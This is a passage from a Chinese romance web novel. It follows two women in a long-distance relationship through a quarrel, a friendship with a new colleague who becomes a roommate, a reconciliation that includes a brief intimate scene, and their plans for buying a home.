[辛苦小毓老师了,以后我们就按照这种风格继续,下面的人设我会尽快整理好发给你。] 谢舒毓长舒了一口气。 自己看书琢磨,难免出现偏差,有人设辅助,事半功倍,她可以轻松很多。 [谢谢老师。] 谢舒毓现在又真心觉得,她是个不错的甲方。 在手机上聊天,人很容易变得刻薄,隔着电子屏幕,表情包没发到位,人家说你冷漠,语气词用得太多,人家又说你假。 所以异地恋要怎么谈,才不会胡思乱想,阴阳怪气吵架。 偏偏,有人三十岁才开始玩叛逆,背井离乡说我生性爱自由。 谢舒毓关了电脑爬上床,继续看小说。 她好些年没看过书了,一开始有点难投入,硬着头皮看了几章,还觉得挺有意思的,这几天有时间就看,灵感来时,备忘录潦草几笔,勾勒出大致人物形象。 温晚的电话是第二天上午打来的,谢舒毓正在洗漱,一夜过后,她声音相较昨晚精神不少。 “都怪我爸,中年老男人,烦死了,还有傅明玮那个蠢货,整天找事。” 谢舒毓不想让她着急,吐了嘴里的牙膏沫,说“没关系”。 “也是我太冲动了,留给你思考的时间太少,以后我会多多站在你的角度思考问题,不让你为难。” 如果只是普通同事或合作方关系,温晚一定会非常感动。 她皱眉,“我拒绝了,你不应该是生气吗?你为什么不生气。” 谢舒毓有点莫名其妙了。 “为什么要生气,我在好好跟你说。” 温晚:“就是因为你在好好跟我说,我才觉得奇怪。” 谢舒毓:“我们之间,明明是你更奇怪好吧。” 温晚:“到底是谁奇怪,才在一起几天,就莫名其妙安排一大堆。” 谢舒毓:“谁莫名其妙,是你自己说的春天结婚,你翻开聊天记录看一眼行不行。” 温晚:“聊天记录里面,我讲得很清楚,是我爸说的,不是我说的。” 时间来不及了,谢舒毓对镜举手投降,“那就是我会错意,我向你道歉好不好?” 温晚无力,“我当时只是想告诉你,我爸说了那样一句话,我不知道怎么会变成这样。” “那就当一切没发生过,我要出门上班,先不说了,再见。” 谢舒毓果断挂掉电话,迅速完成洗漱,出门。 [什么叫没发生过,亲嘴没发生,还是睡觉没发生?] 温晚逼问。 谢舒毓一路忙着赶车,到单位打卡,开电脑,泡咖啡,坐定了,才打开手机。 温晚最后一句,问:[你为什么不回我消息。] [上班路上。]谢舒毓答。 [你楼下那个站,是四号线起点倒数第二个站,早上没多少人,所以你肯定有位置坐。你不给我发消息,就是故意不发。] 谢舒毓看到这句都惊呆了。 地铁确实有位置。 [我喜欢站着,不行吗?] [你为什么站着,有位置不坐,你脑子被驴踢了。]温晚说。 [我脑子被你踢了,一大早就发神经。]谢舒毓回呛。 温晚追问她为什么在地铁上不回消息,明明以前走在路上都要停下来跟她打字,是不是得到了以后就不珍惜。 到底是谁得到了以后就不珍惜?谢舒毓要被逼疯了。 [是的,我就是故意不发。] [这才是你的正常反应。] [微笑][微笑] 不可理喻。谢舒毓手机倒扣,没理。 温晚不依不饶。 [你出来,你说话。] [你讲清楚,为什么不给我发消息。] [还有婚礼的事,就结束了吗?] 谢舒毓真不能理解,既然已经拒绝,为什么还在反反复复提到婚礼。 “小毓。”对面张姐喊了一声。 谢舒毓赶紧把手机关静音。 “过来一下。”张姐冲她招手。 谢舒毓一下变得紧张。 她是个很容易焦虑的人,遇见什么事,习惯往最坏的结果想。 是在外面接私活被主编发现,还是上班玩手机,给她训话? 上周迟到了,有几次早退情况,为了赶车去见温晚。 要么就是哪里画错了。 “这是副刊那边新来的插画师,跟你一个学校的,申请要住宿舍,下班你带她过去吧。” 张姐把人领到她面前,就交待了这一件事。 “学姐好。”那女孩见面就给她鞠躬。 谢舒毓吓了一跳,赶忙去扶。 是个很可爱的女孩子,左右梳两根麻花辫,头上戴一朵大大的花朵针织发卡,穿衣有点森女系那种风格,项链也很特别,皮绳长长坠下来,是一颗木雕的松果。 “我叫乌玫,玫瑰的玫,学姐可以叫我小玫,我特别喜欢学姐的画,学姐参加的综艺我也看了,我是学姐的粉丝哦!” 乌玫一见面就好多话,年轻女孩的热情,谢舒毓有点招架不住,往后退了半步。 “对不起,是不是吓到你了。” 乌玫背着手弯腰凑近,歪头看她。 谢舒毓还没来得及说话,乌玫冲她笑笑,“那我中午来找学姐,我们一起吃饭好不好,就当提前答谢学姐带我去宿舍。” 副刊跟她们不在一个办公室,乌玫说完就挥手说“拜拜”了,谢舒毓连拒绝都来不及。 “年轻女孩,真有活力啊。”学敏坐在位置上,一脸向往。 谢舒毓想说,活力这个东西不分年龄的,温晚从小到大都很有活力,活力到令人恐惧。 而她一直死气沉沉。 抓起手机,温晚还在因为婚礼的事跟她扯皮,谢舒毓烦了,直接没回。 午休时间,乌玫果然找来,胸前挂的那颗小松果蹦蹦跳跳的。 “学姐带我去吃吧,我刚来,人生地不熟的,不知道这附近有什么好吃的。” 谢舒毓回头,看向学敏。 “我带了饭,你们去吧。”学敏说。 好吧,吃个饭而已,又是校友,谢舒毓拿起手机跟她下楼。 不相熟,谢舒毓很怕尴尬冷场,幸好,乌玫话足够多,她时不时应两句,感觉没有特别难捱。 从楼上到楼下,几分钟时间,谢舒毓发现乌玫很好相处,问她想吃什么,她直接就说了,挺干脆的。 “今天很开心,想吃点热的,辣的,学姐可以吃辣吗?” 谢舒毓点头,“那我们去吃火锅。” “好耶!”乌玫举手欢呼。 是上次带左叶去吃的那家,味道还不错,趁着乌玫点单,谢舒毓给温晚打了个电话。 那边没接,谢舒毓不知道她是生闷气还是在忙,发消息说带新来杂志社的同事去吃饭。 [她说跟我一个学校的。] [下班我还得带她去宿舍,认认路。] 捏着手机等了好几分钟,还是没消息,谢舒毓有点茫然。 温晚一个人在那边,万一出事怎么办?她们的共同好友只有左叶和许徽音,但都不在她那边。 只有小君了,可谢舒毓怎么会有小君的联系方式。 她马上给左叶打电话,左叶有点懵,“小君,哪个小君?” 跟乌玫说声“抱歉”,谢舒毓走到火锅店外面,“就那个什么都不如我的小君。” 这么一说,左叶立马懂了。 “你要她联系方式干嘛,找她打架?” “现在联系不到温晚了。”谢舒毓快急死,“你知不知道啊你就,直接告诉我行不行。” “温晚刚还在群里说话,怎么会联系不到呢?”左叶说。 谢舒毓愣了下。 她低头切换手机页面,点开群聊。 温晚刚在群里分享了一条短视频。 [哈哈哈哈哈哈哈哈] [笑死我了。] 很好。 特别好。 非常好。 “没事了。”谢舒毓挂断电话,回到火锅店。 锅底已经端上来,乌梅目光担忧,“学姐,没事吧?” 谢舒毓摇头,朝她有点艰难地笑了下。 乌玫给她打了蘸碟,又给她烫毛肚,烫鸭肠。往常这种事,都是谢舒毓在做,温晚坐在旁边,只管吃。 谢舒毓说“别忙了”,乌玫就不忙了,过会儿给她添茶,又去端了盘西瓜。 谢舒毓抬头看她,她笑着把果盘往这边推推,“我看学姐心情不好嘛。” 心情确实很坏,温晚故意不理她,害她着急。 那好啊,她们就谁也别理谁好了。 “你的项链很有趣。”谢舒毓岔开话题。 乌玫低头看了眼,“是我自己雕的,学姐喜欢的话,我也给学姐雕一个吧。” “好厉害。”但谢舒毓拒绝了。 她以前给温晚雕过小鸟和狐狸,还有玫瑰花。 吃辣有点胃疼,回去的路上,谢舒毓还在为温晚烦心,默不作声忍耐,期间乌玫去了趟便利店,她在外面等。 乌玫出来的时候,给她手里塞了瓶酸奶。 “胃疼喝点奶制品,可以保护胃粘膜。”乌玫说。 “谢谢。”谢舒毓声音有点虚弱。 乌玫又把酸奶拿走,拧开瓶盖后才还回来,“现在就喝吧,见效超快的。” 喝了半瓶酸奶,乌玫带谢舒毓在旁边电网公司的台阶上坐,谢舒毓果然感觉舒服多了。 梧桐树巨大的树冠覆盖在她们身上,谢舒毓舔了舔嘴角,旁边递来一张纸。 再一次说“谢谢”,谢舒毓接过纸,“原来真的有效,我以前都是喝牛奶解辣的,但好像没这么快。” “酸奶稠一点嘛。”乌玫说。 谢舒毓“嗯”了声,抬起头,梧桐树叶子密密匝匝,铺了一层又一层,遮天蔽日。 不过眨眼间,盛夏到来。 昨晚下过雨,早上是阴天,午后太阳探出云层,世界明亮。 不自觉,唇边挂笑。 “学姐这里有个酒窝欸——”乌玫手戳着自己的脸。 谢舒毓微微侧身,整张脸面对她,微笑展示,“但我只有一个。” 乌玫怔怔看她。 谢舒毓在女孩漆黑明亮的眼睛里看到自己。 她垂下睫毛,中断视线交流,面朝马路坐直身体。 “学姐你好好看。”旁边乌玫的声音。 谢舒毓腼腆笑一下,“你也是,你很可爱,很有活力。” “我感觉你不开心。”乌玫又说。 谢舒毓点头,“是的。” 因为女朋友在跟她吵架。 乌玫没再追问。 回到办公室,谢舒毓继续尝试给温晚打电话。 一个,不接。 两个,不接。 三个,不接。 …… 十个,还是不接。 谢舒毓讨厌冷暴力,温晚也是,她们都在用讨厌的方式惩罚自己。 这就是谢舒毓最害怕看到的结果,她们在一起了,还不如不要在一起,让她始终保留着一份美好的幻想,以朋友身份,永远陪伴在她身边。 到点,下班,乌玫带着胸前那枚精致的木雕松果出现在视野,谢舒毓长舒了一口气,打起精神应付。 乌玫带了两个大行李箱,谢舒毓帮她拎一个,提前用手机叫好了车。 本来以为要去搭地铁,乌玫提前研究过路线,出大门的时候,要往地铁站方向走。 谢舒毓轻轻拉了她一把,“车已经在等我们了。” “学姐好体贴!”乌玫大声说。 这一点,谢舒毓觉得她跟温晚很像,什么事都一惊一乍的。 “明早再带你搭地铁。”谢舒毓把行李箱举起来,放车后备箱。 “学姐,你力气好大!”乌玫星星眼。 谢舒毓哭笑不得。 司机师傅下车帮她们放了第二个。 谢舒毓本来想告诉乌玫,不要叫她“学姐”了,好奇怪的称呼啊,但她潜意识知道,乌玫根本不会听。 这家伙,喊“学姐”的时候,自己一脸享受,好像在演台湾偶像剧。 随便好了,一个称呼而已。 到家门口,发现两个巨大的快递箱子,那瞬间,谢舒毓真希望是温晚给她送来的。 不管是什么,一整箱抽纸也好,只要跟温晚有关,就代表她不再继续赌气,代表她的电话可以打通。 “我的快递!”乌玫欢呼。 好吧。 谢舒毓把门打开,为她添加指纹,随后又帮忙把箱子搬进去。 “很重吧。”乌玫跟在旁边嘿嘿笑,“是我买的一些厨具和调味品,我会做饭哦,学姐会做饭吗?” “会,但比较少。” 谢舒毓出门上班,除了周五,连充电线都懒得带,就一个手机。她不需要放包,去厨房找了把水果刀出来,给乌玫拆快递用。 “一个人做饭很麻烦。” “我来了,我们以后就一起做吧。”乌玫兴奋道。 谢舒毓想起来,两个人都没吃饭,“点个外卖吧,你想吃什么。” 乌玫一直很好安排的样子,“就吃学姐平常最爱吃的,肯定不会踩雷。” 说到吃饭,谢舒毓想起件事。 “对了,乌玫,我们加个微信吧。” 本来蹲在地上拆快递,闻言乌玫瞬间弹起。 谢舒毓低头调二维码,野草般的刘海把女孩灼热的视线遮挡在外。 “我把今天饭钱转你,还有宿舍是不包水电燃气的,到时候我们两个还得A一下。” “哦。”好像有点失落的样子。 谢舒毓抬头,“怎么了?” “学姐这顿请我吃,就不用给我A钱了。”乌枚把手机举过去。 “叮”一声,扫到了。 第60章 我要紧紧地包裹着你 手机揣在身上,谢舒毓每隔一分钟摸出来看一次。 她故意开了免打扰,这样如果温晚给她回复消息,她没听到,打开手机,就能收获惊喜。 要是没回,也不要紧,她提前把自己关起来了。 她整个人矛盾得不知道该怎么办好,最后干脆把手机丢房间,直接来个眼不见为净。 所以温晚后来还给她的十个电话,她一个没接到。 不开灯的房间,手机屏幕光幽幽照亮天花板,像条搁浅的鱼,温晚侧躺在床,怀里抱着谢舒毓睡过的枕头。 很久得不到补充,香味已经散得差不多。 花开花谢,日升日落,潮涨潮退,任何事物都具有两面性。 爱情也是。 爱有缠绵,就有分离,有甜蜜,就有苦涩。 她们已经认识二十多年,热恋期是什么时候,倦怠期又是什么时候,根本无从判断。 网上那些所谓的经验帖,根本帮不到她们。 没有恋爱经验,冷战争吵却是手到擒来,温晚把手机塞到枕头底下,想哭,哭不出。 好莫名其妙,她们明明是世界上对彼此来说最亲近的人,怎么又把关系搞成这样。 走到一个煎饼摊,告诉老板,我要加培根加薄脆加鸡蛋,然后对方照做,扫码付款。 与人沟通,就是这么简单,表达需求,回应需求,或是拒绝。 怎么换个人就不行了。 ——“我不是故意跟你吵架。” ——“我想要你跟我求婚。” ——“快给我打电话吧,这次我肯定不赌气了,我会接的。” ——“我想你。” 就那么难说出口,心里憋了口气,不服输。 ——“凭什么是我。” ——“什么都要我教,你脑子里装的浆糊?” ——“随你好了,爱怎么样怎么样。” 温晚气鼓鼓扯被蒙头。 她唯一可以确定的事,这一定是爱情,超越友谊的超纯爱情,至少跟左叶吵架撕逼的时候,不会难过委屈到心口阵阵发痛。 另一边,有新朋友作为调剂,谢舒毓状态好很多,不至于躲在被窝里偷偷抹眼泪。 还剩两个房间,次卧最大,跟主卧并排,一个朝向,谢舒毓推荐乌玫住大的。 “本来就是先到先得,没理由委屈自己住小房间。” 谢舒毓推开次卧门,衣柜、书桌、床和床头柜是每个房间标配,床有床垫,盖了防尘罩,收拾收拾,今晚就能入住。 左右没什么事,谢舒毓打水帮她清扫。 乌玫没有拒绝,很愿意跟她产生更多联系。 “接下来一周,我每天中午都请学姐吃饭吧,学姐带我吃,我付账。” 谢舒毓其实是个挺会精打细算的人,她一向是对自己吝啬,对朋友大方,网购如果有好评返现,哪怕只有五毛也不会放过,收到瑕疵品更好了,只要不影响使用,能讹多少就讹多少。 “好啊。”谢舒毓答应下来,“我手艺还不错,中午我们去超市买些菜放在冰箱,下班带回来,晚上我可以做给你吃。” 她挺热心的,乐于助人,但对于一般的朋友关系,会在心里默默计较,你给我多少,我又还你多少。 外卖到,她们蹲在茶几边吃完,一起打扫房间,乌玫开始把行李箱里的东西一件件往外拿,谢舒毓离开,去卫生间洗澡。 散着头发出来的时候,看到乌玫站在外面洗手台搓抹布,心说怪不得水一阵大一阵小。 “我铺好床了,学姐要看看吗?”乌玫热情邀请。 谢舒毓心说这有什么好看的,但转念一想,如果是温晚,一定会看。 她对别人的生活总是充满好奇。 乌玫铺了桌布,四件套是清新的白底小碎花图案,她说她还想在床头墙上挂一块装饰布,俏皮踮了下脚尖,“但我够不到,怕挂歪。” “那你应该先不要铺床的。”谢舒毓说:“墙上会掉灰。” “那怎么办呀。”乌玫露出那种标准小女生呆呆笨笨的样子,虽然很有可能是装的。 但有效。 谢舒毓回房间抹脸,“等一下,我吹干头发帮你。” 她还是故意不去看手机,当然也不知道手机上的十个未接。 抹完脸,吹头发的时候顺便把脚吹干,再次回房间,穿上袜子才去帮乌玫挂布。 把整理好的床笠揭开,谢舒毓穿袜子的脚踩在床垫上。 乌玫站在下面给她递免钉胶,低头默默看了半天,扬起脸。 “学姐,你的跟腱好长好细。” 谢舒毓低头,踩着床垫,从左边走到右边,手里牵着那块布。 “你站远点,看位置正不正。” 乌玫试着解释,“学姐平常有观察人体的习惯吗?” “你这扇窗还蛮有意思。”谢舒毓答得驴唇不对马嘴。 乌玫的床头布上印的是一扇绿意茵茵的弧顶大平开窗,谢舒毓跳下地,走到床尾,远看,那里好像真的有一扇窗,窗外是永远也不会落叶的树,太阳似乎真的透过窗框落在床头,落在她的脸上。 暖融融的。 “学姐喜欢吗?”乌玫说可以帮她也买一块。 谢舒毓轻轻摇头,她更希望自己以后真的有这样一扇窗户。 就是这样一扇假窗,让谢舒毓引发了更多关于家的思考。 到底是不是非要和别人一起才能组建家庭。 她自己不可以吗? 谢舒毓回到房间,看到温晚给她留下的十个未接,没多想,坐在床头回拨。 很晚了,温晚已经睡下,手机静音,理所当然没接。 等到第二天早上,温晚回电的时候,谢舒毓手机仍然处在手动的免打扰模式,在洗手台洗漱,当然又没接到。 几次阴差阳错,就不再继续这种无聊游戏。 接下来一整个星期,她们没有再给对方打过一次电话,取消置顶的聊天框,很快被更多的工作消息和群聊覆盖。 下沉,不断下沉。 休息日的前一天,温晚坐在办公室,把两个人之前的聊天记录翻来覆去看了很多遍,想起谢舒毓答应要跟她去博物馆。 看来是没希望了。 所以那一天,她照例加班到很晚。 拎包走出电梯的时候,温晚的狗鼻子闻到了酸菜土豆炖牛肉的味道。 这道菜谢舒毓以前给她做过,她很喜欢,上一次吃是她们确定关系之前。 “谁这么好福气。”温晚靠在楼道窗边,探身用力嗅。 只有夏天热热的风,出了楼栋,味道好像就散了。 酸菜土豆炖牛肉啊,从哪里飘来的。 大拇指按开家门锁的时候,温晚像触碰到什么魔法开关,又类似那种精致的袖珍玩具,在电源开启的瞬间,所有色彩、气味和温度组合成一张无形的网,兜头而来。 她被拽入另一个时空,眼前景象,浑若梦里出现,熟悉又陌生。 客厅大灯焦灿灿的黄色光把整个房子都烘热了,饭菜香扑鼻,她心中牵挂的人就在眼前,系缀有荷叶边的黑白女仆围裙,薄款的长袖T恤袖子挽到肘,刚把一盘切好的水果放在茶几,在门打开的瞬间抬头。 她们视线相撞。 “你回来了。”谢舒毓说。 温晚呆呆站在那,手撑冰凉的乳胶漆墙面,辅助身体平衡,没有腿软摔倒或是门口地垫上。 扯了张抽纸擦干手上的水,谢舒毓朝着温晚走过去。 她退后一步。 谢舒毓笑着问“你去哪里”,在走廊把人抓住。 “你怎么来了。”温晚站不稳了,被她双手覆盖的皮肤酥麻感持续扩散。 手臂回捞,揽住她细瘦腰肢,人往怀里带,谢舒毓好笑,“我女朋友家,我怎么不能来,我查岗啊,万一家里藏人了。” 温晚后背抵墙,谢舒毓把门关上了,她抬头睁大眼睛努力分辨,眼泪瞬间涌出,挣脱桎梏,连捶带打。 “那你不接我电话!不回我消息!” “嗷”一嗓,谢舒毓面露痛苦,“你也没接我电话,没回我消息。” “是你先不理我的!”温晚流泪控诉,“在地铁上,有位置坐你非站着,就是故意不回我,明明说给我时间考虑,却跟我玩什么冷暴力。” 谢舒毓辩解说“没有”,温晚完全听不进去,人在身边,她可以不管不顾大哭大闹,反正今天绝对不会让谢舒毓跑掉的,闹到最后下跪磕头也无所谓。 讲不通,指腹抹去她脸颊湿漉,谢舒毓干脆堵住她嘴。 咸湿的吻,炙热滚烫,饱含情谊,温晚本能紧紧环住谢舒毓,蹬掉鞋子,一只脚踩在换鞋凳,恨不得长到她身上。 进房间,身体被抛向柔软的床面,听到旁边床头抽屉打开又关上的声音,温晚还穿着白色堆袜的脚搭在谢舒毓肩膀,被进入时皱眉“嗯”了一声。 她被开到最大,谢舒毓一只手固定着她的脚踝,俯身跟她接吻,她另一腿微曲着,为缓解韧带压力,起初还能保持镇定,渐渐无法忍受,失控大叫。 有赌气和发泄的成分,谢舒毓这次真下狠手了,后半程,温晚被翻了个面,下巴戳在枕头里,细声“呜呜”哭。 她没力气了,像泡在热水里化冻的八爪鱼,浑身软绵绵、黏嗒嗒。 谢舒毓侧躺在旁,拨开她脸边凌乱的长发,啄吻了一下嘴唇,声音不那么清朗,问“老实没”。 深吸一口气,找回了点力气,温晚把自己整片盖到谢舒毓身上。 “老实了,乖了,超乖的。” 她们湿热的呼吸交错在一起,懒洋洋有一下没一下吻,温晚往下挪挪,脸贴到谢舒毓心口位置,“还以为你生气不来了。” “我生气,也得见到你才能跟你发脾气。”谢舒毓回答说,摸到她冰凉凉的长发,低头看了眼,怕她冷,扯来被子给她盖上点。 不服气,温晚“哼”了声,“你生气我也生气呢。” 谢舒毓不说话,也不动,只是紧紧抱住她。 过了会儿,又晃晃,“吃饭吧,我猜你肚子肯定饿了。” “饿了,很饿,但我可以忍耐,不要和你分开。”温晚说,她想拥有电影《毒液》里那个小黑娃的特殊本领。 “我要住在你的身体里,紧紧地包裹着你,如果遇见你讨厌的人或是我讨厌的人,就突然冒出来吓他们一跳,像那种恶作剧小丑盒子。” 她还说,小黑娃跟窝囊废真的很互补,她是当情侣cp来磕的。 谢舒毓歪了下身体,捏捏她脸,“恋爱脑是不是看什么都是恋爱脑。” 温晚瞭高眼皮,“明显是你比较恋爱脑好吧,大多远跑来给人家做饭,被气哭,无家可归,连夜打车跑,结果笨死了,手机都忘带。” 好好好。 “你很光荣?”谢舒毓手伸进被子里掐住她腰。 温晚尖叫扭动一下。 谢舒毓松开手,温晚往上爬,四肢并用抱住她,说“对不起”。 “我以后不那样了,你大人有大量,不跟我多计较,好吗?” “然后下次还敢,是吗?”谢舒毓已经摸透规律。 温晚大笑。 手指捏她的耳垂玩,谢舒毓在想,如果她们以后真的住到一起,一定还是每天吵架,但五分钟后,不,可能一分钟就和好了。 不磨蹭了,谢舒毓搂着她坐起来,“吃饭吧,我猜到你会加班,所以给你炖了酸菜土豆牛肉,这样不管你多晚回来,砂锅里的肉都是热乎乎的……” 温晚整个爬到谢舒毓背上,她一只脚穿着袜子,另一只脚光着,头发长长铺散下来,覆盖着两个人。 “其实我出电梯的时候就闻到了,我当时还在想,是谁这么命好,可以吃到那么那么丰盛美味的一道大菜!” 幸福歪头,温晚笑眯了眼睛。 “哦!原来是我呀!” 60-70 第61章 把她从人生规划中剔除 温晚蹲在茶几边,像只讨食的小狗,谢舒毓让她先吃点水果垫着肚子,她摇头说“不”。 “我要吃肉,大口吃肉。” “那就等着。”谢舒毓进厨房。 燃气灶打火,她把砂锅里的炖汤重新煮沸,端上饭桌,温晚用力深嗅,早就馋得不行了。 “先喝口汤。”谢舒毓拿碗给她盛,左右摇头,吹吹凉。 温晚顺势滑到地板,坐在谢舒毓脚面上嗷嗷,“老婆老婆,我要吃肉。” 谢舒毓呼呼了喂给她,温晚张嘴叼走,闭眼咀嚼,摇头晃脑,发出幸福小猪哼哼声。 情绪价值给得相当到位,谢舒毓忍不住俯身亲了下她脸。 打开电视,让房子热闹起来,温晚都没盛米饭,光吃肉喝汤。 牛肉早就炖得软烂,香味全融到汤里,土豆烂糊,酸菜解腻,汤面再丢一把鲜嫩的小葱,哎呀香迷糊了。 饭吃到一半,温晚歪个脑袋,侧耳倾听。 “好像下雨了。”谢舒毓起身走到阳台。 下雨对她来说,从小到大一直是件很特别的事,每次听到雨声,一定会把头伸到窗外去看。 温晚蹦跳跟上,抓起谢舒毓一条胳膊,从她胳肢窝底下钻进去,又抓着她手按在后腰位置,紧紧环抱住她。 “我的城市也下雨了。” 失笑,谢舒毓低头看,眼神变得柔软,脸颊蹭蹭她冰凉好闻的头发。 温晚抬起脸,跌在她深沉曜黑的眼睛里。这个人,总像水一样包容着她,即使生气发怒,滚沸起来,也绝不随意泼洒烫伤她,而是选择自己找个角落待着,冷却下来,才重新回到她身边。 吃饱了,胃里暖暖,心口热热,温晚想,如果谢舒毓再一次跟她说起婚礼的事,她不会拒绝。 温晚看着她,久久凝视,期待她开口。 但始终没有。 “你会觉得看下雨很无聊吗?” 谢舒毓说起眼前的事。 温晚歪头,认真想了想,“喜欢,但没有灯光,暗暗的,什么也看不到。” “我想买一个那种带大露台的房子,这样我就可以坐在房子里看下雨。” 谢舒毓说最近在看了,有些二手房非常值得购入。她说她喜欢那种半新不旧的感觉,还有就是新房要等很久,她想快快搬到自己新家里去。 温晚想到她之前说的话,有点难过,谢舒毓似乎把她从人生规划中剔除了。 “你不跟我商量了吗?”她怎么变成一个可有可无的人了。 “现在就在跟你分享。”谢舒毓回答。 她说到时候房子要怎么怎么布置,要养乌龟,养鱼,养花,还想养一只小猫。 温晚听出来了,“这一堆乱七八糟的东西里面,就是没有我。” 谢舒毓笑一下,“你想去,我欢迎,你想我来找你,我也会安排好时间,尽量满足。” 温晚松开手,有点生气了,“那你之前说,我们一起买房,算怎么回事?” “是你先说我们要一起买房。” 谢舒毓耐着性子跟她捋,“但那时候,我还不确定,也没有足够的钱,所以拒绝了。后来我感觉自己快有钱了,跟你商量,但你也没有回应我。” “对。”温晚理直气壮,“你拒绝过我一次,所以我也要拒绝你一次。” 谢舒毓盯着她,有点服了她。 “怎么样?”温晚那股刁蛮性子又上来了。 不想吵架,谢舒毓摇头,揽着她进屋,“你吃饱没,要不再吃两块肉。” 温晚早就饱了,但架不住馋,坐在沙发上赌气板着脸,谢舒毓手托着,肉喂到她嘴边,她到底没忍住。 肉真香,越嚼越香,温晚大叫,“我还要吃!” 谢舒毓继续喂,喂完放下筷子坐在一边刷手机。 几分钟前乌玫给她发消息,说在蹲卖蝴蝶标本的直播间,看到一只好漂亮的天堂凤蝶,很幸运抢到了。 [我要送给学姐!] 谢舒毓不知道该怎么办,拒绝吧,人家买都买了。 接受,又得费心去想,回人家什么礼才合适。 [能退吗?] 谢舒毓小心翼翼问。 [直播间一物一拍,不可以退。] 乌玫说。 谢舒毓不相信有这种规则,她又不是没拍过。 [那必然是不合法的。] 她说你退,我不要,乌玫解释说这个不是去野外抓的,是自己养的蝴蝶蛹孵化的。 谢舒毓知道,大多数蝴蝶成虫寿命只有几天或几周,特殊品种最长也不过一年。 昆虫的寿命就是很短。 再说,野外哪有那么多蝴蝶,供这些人成天卖卖卖。 [无功不受禄。] 谢舒毓回复。 旁边温晚嚷嚷,“我还要吃肉!” 谢舒毓无奈放下手机,继续投喂。 温晚倒在沙发上,故意大声吧唧嘴,表达她有多爱今天这道菜。 乌玫丢来一串星星眼,说学姐帮了我很多,怎么会无功呢。 [你喊我一声学姐,一个屋檐下,我理应关照你,你不用太有心理负担,蝴蝶退掉吧。] 上次谢舒屹给她买的蜻蜓标本,她后来放他书桌上了,没要。 为此,谢舒屹发消息质问,姐姐是不是讨厌他。 这还用问?谢舒毓心说。 送礼回礼真是件超麻烦的事,谢舒毓精力只够用来对付温晚,实在不想费神思考给新朋友买什么东西作为回礼。 她命令:[退掉。] “我还要我还要!”温晚打滚。 谢舒毓放下手机,探身摸摸她的肚子,“宝宝你可别撑死了。” 被这声“宝宝”甜到,温晚搂住谢舒毓的脖子,要用油叽叽的小嘴亲她。 没躲,谢舒毓任由她亲,给她喂了最后一块肉,抽纸擦脸。 手机又在响,谢舒毓抓起查看,温晚有些狐疑,问:“谁啊,大半夜的。” “女作家。”谢舒毓如实回答。 乌玫没回复了,女作家问她下周末有没有时间,想搞个粉丝见面会,官宣一下。 温晚好奇凑近看,下巴搭在谢舒毓肩膀。 谢舒毓询问更多细节,见面会地点竟然就在温晚公司附近的商场。 “没问题没问题!”温晚扬拳欢呼。 女作家说给报销车票,安排食宿,谢舒毓说不用。 [我女朋友也在这附近,顺道的事。] 哇哇哇!对面惊喜。 [小毓老师竟然有女朋友。] 她好像找到同类那种兴奋,且非常敏锐指出: [是不是穿高跟鞋站墙头上那个女孩子?] “啊?什么?” 谢舒毓还没来及说话,温晚大叫起来。 女作家紧跟着发了个表情包过来。 [小毓老师,你知道吗,你的女朋友火了,现在网上到处都是她。] 表情包温晚脸被“火大小熊”贴纸覆盖,她叉腰站在墙头,下面有白色思源黑体“火大”二字,外加三个感叹号。 “谁干的!”温晚气死了。 谢舒毓大笑,不忘把表情包保存,另转发到群。 接下来两天,她们相处非常愉快,温晚暂时忘记了别的事,只知道下周末要陪谢舒毓参加见面会,没有空闲吵架,白天在商场试裙子,夜里在网上看裙子。 虽然见面会跟她没有半毛钱关系,但也要打扮得漂漂亮亮的,让那些对谢舒毓还存有非分之想的小妖精们知难而退。 “你现在是女明星了,我可得看紧些。” 她预约了好几个项目,打算周内下班去做,要好好捯饬捯饬脸。 博物馆没去成,但也不觉遗憾,反正以后还有机会。 她们在一起就好。 外面逛了一天,谢舒毓腿都走酸,盘膝坐在客厅沙发,看温晚满屋子跳来跳去,始终很有活力的样子,抓了个抱枕在怀里。 “你有没有听说过冕狐猴。” 温晚在敷面膜,含糊问:“什么?” 谢舒毓找了个视频出来给她看。 黑白配色的机灵小猴手长长脚也长长,像螃蟹横着走路,却是袋鼠那样,左右蹦跳,十分魔性。 “泥才是厚!”温晚大怒。 生活中,这种类似场景经常出现,这不能称之为吵架。情趣更为准确。 这周末她们在一起,有几次要吵起来,谢舒毓按下心中不快,都巧妙转移了话题。 温晚心不在焉,也没有深究。 她们的相处,总体来说非常愉快。 温晚开车把谢舒毓送到高铁站,下车前,抓抓脸蛋。 “感觉少了点什么。” 谢舒毓笑着说:“应该是没吵架,你不习惯。” “对哦!”温晚恍然想起,“我们有三天没吵架呢!” 了不得,真是了不得。 “放心,我回去以后,一定会吵起来的。”谢舒毓说。 温晚不怕,“吵得再厉害也没关系,你肯定还会来的。” 谢舒毓“呵呵”两声,送她白眼。 也许是因为高铁站分别时,温晚掉眼泪了,她们接下来一周,竟然一次没吵过。 自从上次跟左叶在阳台抽烟,谢舒毓发现坐在塑料凳上看夜景的感觉特别好。 天热起来,阳台比房间凉快多,她喜欢坐在阳台跟温晚打视频,小声说一些黏糊的话,各种肉麻的昵称都不避讳着人。 温晚知道她有室友了,是她同校的学妹,偶尔会搭伙做饭。 “你跟别人同居。”温晚是有点不开心的,但也只是嘟嘟嘴巴,怪腔怪调哼哼几声。 “那你要这样说,我都跟数不清的女人同居过了。”谢舒毓隔着屏幕点一下她鼻尖。 温晚知道她说的是大学室友,网上那种营销号小视频看多了,自己在那分析。 “因为我们是生理性喜欢,一见面就会产生多巴胺,让我忍不住想靠近你,跟你黏在一起。但只要分开,生理得不到满足,就会烦躁,生气。” 她解释她们为什么一分开就总吵架,“都是因为我太爱你了。” 问题很好解决,谢舒毓心说你回家不就好了。 但她没说。 答应要给温晚时间,这个过程谢舒毓也在努力说服自己。 如果最终她们不能走到一起,她也不过是回到以前的日子,并没有特别糟糕。 她凡事习惯性往最坏的地方想,家人抛弃她,朋友远离她,爱人也会有新的爱人…… 强烈的不安全感折磨着,随时间堆积,渐渐有些难以负荷了。 数不清的深夜,她躲在漆黑的小房间,憋红眼睛,却流不出一滴眼泪。 轻微躯体化反应,满身大汗,知道自己一定是哪里出现了问题,向内寻求解法,问自己,我到底想要什么。 要实实在在,能抓在手里的。 只有房子。 她的家,房产证上是她自己的名字,她可以随便把东西放在哪里,不用担心妨碍到别人,她可以随便坐在哪里,或是躺着,蹲着。 每一个房间,都是她的。 跟女作家约好的见面会倒数第二天,谢舒毓收到合同上许诺的第一笔钱,是首印稿酬总价的百分之三十。 